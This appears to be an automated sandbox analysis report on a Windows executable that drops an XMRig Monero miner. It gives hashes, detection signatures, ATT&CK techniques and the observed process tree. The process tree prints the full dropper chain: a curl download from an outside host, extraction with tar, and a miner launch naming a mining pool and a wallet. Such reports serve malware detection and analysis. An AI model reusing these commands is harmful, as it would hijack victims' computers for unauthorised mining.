xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
144s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11-03-2024 20:54

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General

Target

test - Copy (4).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral8/files/0x0007000000023298-20.dat	family_xmrig
behavioral8/files/0x0007000000023298-20.dat	xmrig
behavioral8/memory/2924-25-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-26-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-29-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-30-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-31-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-32-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-33-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-35-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-36-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-37-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig
behavioral8/memory/2924-38-0x00007FF681F40000-0x00007FF682A44000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	test - Copy (4).exe

Executes dropped EXE 1 IoCs

pid	Process
2924	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2924	xmrig.exe
Token: SeLockMemoryPrivilege	2924	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2924	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 448	3064	test - Copy (4).exe	93
PID 3064 wrote to memory of 448	3064	test - Copy (4).exe	93
PID 448 wrote to memory of 1216	448	cmd.exe	97
PID 448 wrote to memory of 1216	448	cmd.exe	97
PID 448 wrote to memory of 4548	448	cmd.exe	100
PID 448 wrote to memory of 4548	448	cmd.exe	100
PID 448 wrote to memory of 2924	448	cmd.exe	102
PID 448 wrote to memory of 2924	448	cmd.exe	102

C:\Users\Admin\AppData\Local\Temp\test - Copy (4).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (4).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\I52NZUeA.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:448
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:1216
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:4548
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2924

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4264 --field-trial-handle=2692,i,8678872182442199182,12502579059484928042,262144 --variations-seed-version /prefetch:8
1⤵
PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\I52NZUeA.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
3.2MB

MD5
e27f13ffb2989f290f16f8edd1c80171

SHA1
352a34a66152f4998b8d9152356528f980de2ef5

SHA256
fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9

SHA512
549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
2.6MB

MD5
5fb23be9c0914fde620d01bbe215eb6b

SHA1
feae66d77d966c6006f4cc6045b1fc9afa6b305d

SHA256
441c57eceee24847bbe220af29749c8e004a5b1f7ae26fe6c3cf1e734f10a42f

SHA512
02a166726d1ed23890ca7fab099997988e202b3bdbc82679c1e37c8ee0036d2b282c41764920960b768c92e92e0d83a333865eda62724def9455da5f45677e25

Download Submit
memory/2924-32-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-29-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-38-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-23-0x0000020755370000-0x0000020755390000-memory.dmp

Filesize
128KB

Download
memory/2924-24-0x0000020755670000-0x0000020755690000-memory.dmp

Filesize
128KB

Download
memory/2924-25-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-26-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-28-0x00000207E9420000-0x00000207E9440000-memory.dmp

Filesize
128KB

Download
memory/2924-27-0x0000020755690000-0x00000207556B0000-memory.dmp

Filesize
128KB

Download
memory/2924-37-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-30-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-31-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-36-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-33-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/2924-35-0x00007FF681F40000-0x00007FF682A44000-memory.dmp

Filesize
11.0MB

Download
memory/3064-0-0x0000000000590000-0x0000000000598000-memory.dmp

Filesize
32KB

Download
memory/3064-3-0x00007FF8A20E0000-0x00007FF8A2BA1000-memory.dmp

Filesize
10.8MB

Download
memory/3064-22-0x00007FF8A20E0000-0x00007FF8A2BA1000-memory.dmp

Filesize
10.8MB

Download

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Analysis